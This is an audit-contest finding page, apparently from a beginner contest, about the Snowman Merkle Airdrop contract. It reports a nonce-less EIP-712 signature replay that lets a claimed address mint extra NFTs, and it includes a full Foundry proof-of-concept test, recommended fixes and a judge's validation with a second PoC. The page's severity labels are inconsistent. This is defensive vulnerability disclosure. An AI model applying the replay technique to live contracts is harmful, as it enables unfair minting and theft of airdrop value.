Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: low
Valid

Snowman Merkle Airdrop — Signature Replay via Restorable Balance Gate

Description

claimSnowman never consults s_hasClaimedSnowman as a claim gate. After a successful claim, the only remaining checks are that the receiver still holds Snow (balance != 0) and that a Merkle leaf of keccak256(receiver, liveBalance) is in the tree. Snow is a vanilla ERC-20, so any holder can transfer 1 token back to an already-claimed whitelist address and restore the published (address, 1) leaf. The EIP-712 message has no nonce, so the original (v, r, s) still verifies. Replaying claimSnowman then pulls the restored Snow and mints another Snowman NFT.

Deep Dive

claimSnowman (L76) only rejects a zero Snow balance. It then verifies an EIP-712 signature over getMessageHash(receiver) and a Merkle proof of hash(receiver, i_snow.balanceOf(receiver)). On success it transferFroms that entire live balance, writes s_hasClaimedSnowman[receiver] = true, and mints one Snowman.

The claimed-flag mapping is written at L94 but never read on the claim path. MESSAGE_TYPEHASH / getMessageHash bind only the receiver (no nonce, no deadline, no claim-id). Signature recovery at L102–108 only requires signer == receiver; msg.sender may be any gas payer. nonReentrant does not stop a second transaction.

Because the Merkle leaf is keyed off current balanceOf, and Snow has no transfer hook that would block restoring that balance, a post-claim ERC-20 transfer of exactly the merkle amount (sample leaves are 1) makes the same proof and the same signature valid again. Leftover allowance (or a re-approve) is enough for the second transferFrom.

Exploitation

Official Helper merkle root: 0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a.

  • alice = 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6 (1 Snow)

  • bob = 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e (1 Snow)

  • AL_PROOF = [0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52, 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af, 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1]

  • alice max-approves the airdrop and signs getMessageHash(alice) = 0xade7201527deccec00a028e81e6b632f8258d3204971d43e7912ce0010068990

  • (v, r, s) = (27, 0xf1ff5334be964e5f9cd43a1924b3334775395b1e23ff8ab75887d46b854c7316, 0x2f8d9904af4ed8ae1ea494dbf4976297bf27fc1ccd2968c3bcf04e3de455c55e)

  1. Tx1: gasPayer.claimSnowman(alice, AL_PROOF, v, r, s) — balance is 1, signature and leaf succeed, 1 Snow is pulled, flag set, NFT #0 minted. alice has 1 Snowman and 0 Snow; getClaimStatus(alice) == true.

  2. Tx2: Warp past FARMING_DURATION. bob.transfer(alice, 1) restores Snow.balanceOf(alice) from 0 to 1 (no earnSnow/buySnow required).

  3. Tx3: Skipped if max allowance remains.

  4. Tx4: Replay the same claimSnowman(alice, AL_PROOF, v, r, s) calldata. L76 sees balance 1, the same digest and leaf pass, L92 pulls the restored Snow, L94 rewrites the unused flag, L98 mints NFT #1.

Result: claimsAfterReplay = 2, Snowman.balanceOf(alice) = 2, airdrop Snow inventory = 2. Foundry invariant assertLe(claims, 1) reverts with 2 > 1 (ReplayAfterTransfer.test_INV002_atMostOneClaim_afterErc20RestoreReplay).

Any Snow holder B can restore a claimed whitelist address A; any gas payer can resubmit A's public signature. A need not act again if allowance remains. Farming being closed is not required.

Impact

High. Each replay mints an extra Snowman NFT beyond the Merkle allocation, at the cost of 1 Snow transferred back to the claimed address. The same (receiver, amount) leaf and nonce-less signature can be reused whenever the live balance is restored, so extra NFTs are not capped at one. The claimed-flag is effectively dead code on the claim path. Confirmed exploitable on the official Helper tree with leftover max allowance.

Recommendation

  1. Enforce a one-time claim: at the start of claimSnowman, require(!s_hasClaimedSnowman[receiver]) (or revert with a dedicated error) before signature/Merkle checks. Keep the existing write at L94.

  2. Bind the signature to a nonce (or claim-id) and the merkle amount, not the live balanceOf. Include nonce (and ideally amount) in MESSAGE_TYPEHASH / getMessageHash, and increment the nonce on a successful claim so a broadcast (v, r, s) cannot be replayed.

  3. Do not key the Merkle leaf off a restorable ERC-20 balance. Snapshot the allocated amount in the tree (or store it at first claim) so a later transfer cannot reconstruct a valid leaf.

  4. Optionally clear allowance or pull a fixed allocated amount rather than the entire live balance, so a restored 1 Snow cannot be drained again as the claim payment.


Proof of Concept

diff --git a/test/ReplayAfterTransfer.t.sol b/test/ReplayAfterTransfer.t.sol
new file mode 100644
index 0000000..aa16ecb
--- /dev/null
+++ b/test/ReplayAfterTransfer.t.sol
@@ -0,0 +1,133 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.24;
+
+/**

  • * PoC: restorable-balance signature replay on SnowmanAirdrop.claimSnowman

  • *

  • * Setup (from repo root, commit 6efcb0f816ea6ffc5fcb1a66ea5af66d0022e80e):

  • * forge test --match-contract ReplayAfterTransfer -vvv

  • *

  • * Attacker model:

  • * - A is a merkle-whitelisted EOA that already claimed once and left a

  • * remaining/max Snow allowance for the airdrop (or can re-approve).

  • * - B is any Snow holder (here: another official whitelist address).

  • * - Gas payer is any outside user who already observed A's public (v,r,s).

  • * - Attackers control: B's ERC20.transfer of 1 Snow back to A, and

  • * resubmission of claimSnowman(A, official proof, same v,r,s).

  • * - A does not need to sign again. Farming being open/closed is irrelevant.

  • *

  • * Root cause:

  • * claimSnowman never reads s_hasClaimedSnowman. Post-claim gates only

  • * check Snow.balanceOf(receiver) != 0 and leaf = hash(receiver, liveBalance).

  • * MESSAGE_TYPEHASH has no nonce, so the already-broadcast EIP-712 digest

  • * over (A, 1) still verifies after any holder restores A's published leaf.

  • *

  • * Impact:

  • * Unlimited extra Snowman NFTs beyond the merkle allocation (1 Snow pulled

  • * from the restorer per extra mint).

  • */

+
+import {Test, console2} from "forge-std/Test.sol";
+import {Snow} from "../src/Snow.sol";
+import {Snowman} from "../src/Snowman.sol";
+import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
+import {MockWETH} from "../src/mock/MockWETH.sol";
+import {Helper} from "../script/Helper.s.sol";
+
+contract ReplayAfterTransfer is Test {

  • Snow snow;

  • Snowman nft;

  • SnowmanAirdrop airdrop;

  • MockWETH weth;

  • Helper deployer;

+

  • // Official Helper merkle root from script/flakes/output.json

  • bytes32 public constant ROOT = 0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a;

+

  • // Official AL_PROOF for alice = 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, amount = 1

  • bytes32 alProofA = 0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;

  • bytes32 alProofB = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;

  • bytes32 alProofC = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;

  • bytes32[] AL_PROOF = [alProofA, alProofB, alProofC];

+

  • address alice;

  • uint256 alKey;

  • address bob;

  • address gasPayer;

+

  • uint8 v;

  • bytes32 r;

  • bytes32 s;

+

  • function setUp() public {

  • deployer = new Helper();

  • (airdrop, snow, nft, weth) = deployer.run();

+

  • // Same labels Helper uses, so addresses match official merkle leaves.

  • (alice, alKey) = makeAddrAndKey("alice");

  • (bob,) = makeAddrAndKey("bob");

  • gasPayer = makeAddr("gas_payer");

+

  • assertEq(alice, 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, "alice leaf address");

  • assertEq(bob, 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, "bob leaf address");

  • assertEq(airdrop.getMerkleRoot(), ROOT);

  • assertEq(snow.balanceOf(alice), 1);

  • assertEq(snow.balanceOf(bob), 1);

+

  • // Tx0: leftover max allowance so A need not act on the replay.

  • vm.prank(alice);

  • snow.approve(address(airdrop), type(uint256).max);

+

  • bytes32 digest = airdrop.getMessageHash(alice);

  • (v, r, s) = vm.sign(alKey, digest);

  • }

+

  • function testINV002atMostOneClaim_afterErc20RestoreReplay() public {

  • // --- Tx1: first legitimate claim by any gas payer ---

  • vm.prank(gasPayer);

  • airdrop.claimSnowman(alice, AL_PROOF, v, r, s);

+

  • uint256 claimsAfterFirst = nft.balanceOf(alice);

  • assertEq(claimsAfterFirst, 1, "first claim should mint one Snowman");

  • assertEq(nft.ownerOf(0), alice);

  • assertEq(snow.balanceOf(alice), 0, "first claim pulls Alice's 1 Snow");

  • assertTrue(airdrop.getClaimStatus(alice), "flag is written but never read");

  • assertEq(snow.balanceOf(address(airdrop)), 1);

+

  • console2.log("After Tx1: alice Snowman NFTs =", claimsAfterFirst);

  • console2.log("After Tx1: getClaimStatus(alice) =", airdrop.getClaimStatus(alice));

  • console2.log("After Tx1: alice Snow balance =", snow.balanceOf(alice));

+

  • // --- Tx2: any Snow holder restores the published (alice, 1) leaf ---

  • // Warp past FARMING_DURATION so this is clearly a vanilla ERC20 transfer,

  • // not earnSnow/buySnow. Farming closed is not required for the bug.

  • vm.warp(block.timestamp + 13 weeks);

  • vm.prank(bob);

  • snow.transfer(alice, 1);

  • assertEq(snow.balanceOf(alice), 1, "Bob restored Alice's published leaf amount");

+

  • console2.log("After Tx2: alice Snow balance restored to", snow.balanceOf(alice));

+

  • // --- Tx3: skipped --- leftover max allowance is still valid ---

  • assertEq(snow.allowance(alice, address(airdrop)), type(uint256).max);

+

  • // --- Tx4: replay the already-broadcast (v,r,s) + official AL_PROOF ---

  • vm.prank(gasPayer);

  • airdrop.claimSnowman(alice, AL_PROOF, v, r, s);

+

  • uint256 claimsAfterReplay = nft.balanceOf(alice);

  • console2.log("After Tx4 (replay): alice Snowman NFTs =", claimsAfterReplay);

  • console2.log("After Tx4: airdrop Snow inventory =", snow.balanceOf(address(airdrop)));

  • console2.log("After Tx4: alice Snow balance =", snow.balanceOf(alice));

+

  • // IMPACT: second mint succeeded. The intended invariant is broken.

  • // Uncommenting the next line reverts with 2 > 1.

  • // assertLe(claimsAfterReplay, 1);

+

  • assertEq(claimsAfterReplay, 2, "replay minted a second Snowman NFT");

  • assertEq(nft.ownerOf(1), alice, "NFT #1 was minted to alice");

  • assertEq(snow.balanceOf(alice), 0, "replay pulled the restored Snow");

  • assertEq(snow.balanceOf(address(airdrop)), 2, "airdrop inventory grew by 1");

  • assertTrue(airdrop.getClaimStatus(alice));

  • }

+}

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!